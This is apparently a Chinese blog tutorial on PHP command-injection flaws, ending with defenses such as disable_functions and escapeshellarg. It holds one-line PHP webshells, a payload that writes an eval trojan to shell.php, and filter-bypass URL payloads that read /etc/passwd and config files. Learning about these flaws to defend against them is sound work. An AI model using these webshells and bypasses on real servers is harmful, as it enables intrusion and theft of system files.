命令执行漏洞

1.漏洞的成因

应用程序在调用可以执行系统命令的函数时,用户可以控制函数的参数或者函数本身,利用系统命令拼接符将恶意命令拼接到正常的函数中,从而执行系统命令。

2.命令拼接符

windoes:


&:拼接符两边只要有一个为真就执行
&&:命令拼接符拼接多个命令时,遇到假的终止执行
|:命令拼接符拼接多个命令时,只要有一个为假都不执行;
   如果为真都执行,但只是回显最后一个命令的运行结果;
||:命令拼接符拼接多个命令时,按顺序执行,遇到真的就执行且只执行一次;

2.2Linux命令拼接符


;无论拼接的命令为真还是为假都按照顺序执行命令;
&:无论命令为真或者为假,都执行但不按照顺序执行;
&&:如果都为真时按照顺序执行;如果存在假的测终止执行
|:如果都为真都执行,但只回显最后一个命令
||:如果都为真,则只执行第一个;如果存在假的指令时,按照

3.系统命令函数

3.1.system

3.1.1.作用

把字符串作为命令执行,自带输出功能

3.1.2.案例

payload:

<?php
  echo "<pre>";
  system($_POST['cmd']);
?>


向目标服务器写木马,payload如下:

?cmd=echo "<?php @eval($_POST['shell'])?>" > shell.php


此方法会受到权限的限制,可能无法成功。

3.2.passthru()

3.2.1.作用

将字符串作为OS命令执行,不需要输出执行结果,且输出全部的内容。

3.2.2.案例

<?php
 echo "<pre>";
 passthru($_POST['cmd']);
?>

3.3.exec()

3.3.1.作用

此函数会将字符串当作系统命令执行,但是只显示执行结果的最后一行。

3.3.2.案例

<?php
  echo "<pre>";
  echo exec($_POST['cmd']);  //print exec($_POST['cmd']);
?>

3.4.pcntl_exec()

3.4.1.作用

当前进程空间执行指定程序。

3.4.2案例

<?php pcntl_exec("/bin/bash",array($_POST["cmd"]));?>

此函数执行需要系统环境中有php的pcntl扩展程序方可执行,如果目标服务器中不存在此环境,则此函数将无法生效。

3.5.shell_exec()函数

3.5.1.作用

将字符串作为系统命令执行,需要输出执行结果,且输出全部的内容。

3.5.2.案例

<?php echo shell_exec($_POST["cmd"]); ?> 
<?php print shell_exec($_POST["cmd"]); ?>

3.6.反引号

3.6.1.作用

反引号里面的代码也会被当作系统命令来执行。

3.6.2.案例

<?php
 echo "<pre>";
 $cmd=$_GET['cmd'];
 print `$cmd`;
?>

4.绕过(原理 名字不同 效果相同)

4.1.无回显

cuil dnslog盲注

4.2.空格绕过

4.2.1.$IFS

$IFS是linux系统的特殊环境变量,是系统域内的分隔符,IFS存储的值可以是空格、tab、换行符或者其他自定义的符号。此方法在使用cat命令时必须使用绝对路径进行查看。

案例:

http://XXXX/os/fy.php/?cmd=cat$IFS/etc/passwd

4.2.2. %09

%09是tab键的URL编码值。

案例:

http://xxxxx/os/fy.php/?cmd=cat%09/etc/resolv.conf


4.2.3.{}

可以将要执行的内容包含在{}内部进行执行。

案例;

http://xxxxx/os/fy.php/?cmd={cat,/etc/passwd}


案例:

4.2.4.linux重定向符号

只能使用"<"代替空格,“<<”、">>"、">"都不会执行结果。

案例:

http://xxxx/os/fy.php/?cmd=cat</etc/php.ini


4.3绕过关键字

4.3.1.变量拼接

Linux支持变量赋值,可以通过变量拼接来绕过过滤规则。

案例:

http://xxxx/os/fy.php/?cmd=a=c;b=at;$a$b /etc/passwd


4.3.2.空变量绕过

ca${x}t /etc/passwd/ ---> cat /etc/passwd/

http://xxxx/os/fy.php/?cmd=ca${x}t /etc/passwd

ca${x}t /etc/passwd/ ---> cat /etc/passwd/


4.3.3.系统变量绕过

$*是系统变量,可以利用系统变量的字符拼接为命令来绕过过滤。

案例:

http://xxxx/os/fy.php/?cmd=ca$*t /etc/passwd


4.3.4.反斜杠绕过/

http://xxx/os/fy.php/?cmd=c\a\t /etc/passwd


案例:

4.3.5.通配符绕过

http://xxx/os/fy.php/?cmd=ca$*t%20/etc/*cnf


案例:

5.危害

*可以导致getshell

执行系统命令

写入一句话木马

反弹shell


6.防御

防御方法是在php.ini中禁用这些函数disable_functions=system,exec,

尽量不要使用外部命令

使用自定义函数或外部函数库代替外部函数的功能

使用escapeshellarg函数来处理命令参数


7.代码执行函数与命令执行函数漏洞的区别

1.相同点

都使用了函数,并且函数变量的参数可以被控制

可以通过代码审计发现相关的漏洞

可以拼接恶意命令对服务器造成攻击


2.不同点

命令执行漏洞是直接通过php的系统命令函数直接操作系统命令,当函数的参数被用户控制时,就可以造成命令执行漏洞;

代码执行漏洞是通过代码执行程序的漏洞,例如:eval(system['cat /etc/passwd'])


  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
任意命令执行漏洞是一种常见的安全漏洞,攻击者可以通过该漏洞在受影响的系统上执行任意命令,从而获取系统权限或者进行其他恶意操作。修复该漏洞的关键是要对输入进行有效的过滤和验证,以防止恶意命令的注入。 以下是修复任意命令执行漏洞的一些常见方法: 1. 输入验证和过滤:对于用户输入的数据,应该进行严格的验证和过滤,确保只接受预期的输入。可以使用白名单或正则表达式来限制输入的字符和格式,过滤掉特殊字符和命令注入相关的关键字。 2. 参数化查询:对于数据库查询等操作,应该使用参数化查询或预编译语句,而不是拼接字符串的方式构建查询语句。参数化查询可以有效地防止SQL注入攻击,从而间接防止任意命令执行漏洞。 3. 最小权限原则:在配置系统和应用程序时,应该按照最小权限原则进行设置。即给予每个组件或用户所需的最低权限,避免赋予过高的权限。这样即使发生漏洞被利用,攻击者也只能在受限的权限范围内操作。 4. 安全编码实践:开发人员应该遵循安全编码实践,如避免使用不可信的输入直接拼接命令、避免使用eval()等危险的函数、避免使用系统命令执行函数等。同时,及时更新和修复已知的安全漏洞,以保持系统的安全性。 5. 安全审计和漏洞扫描:定期进行安全审计和漏洞扫描,及时发现和修复潜在的任意命令执行漏洞。可以使用专业的安全工具进行扫描,如静态代码分析工具、漏洞扫描器等。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值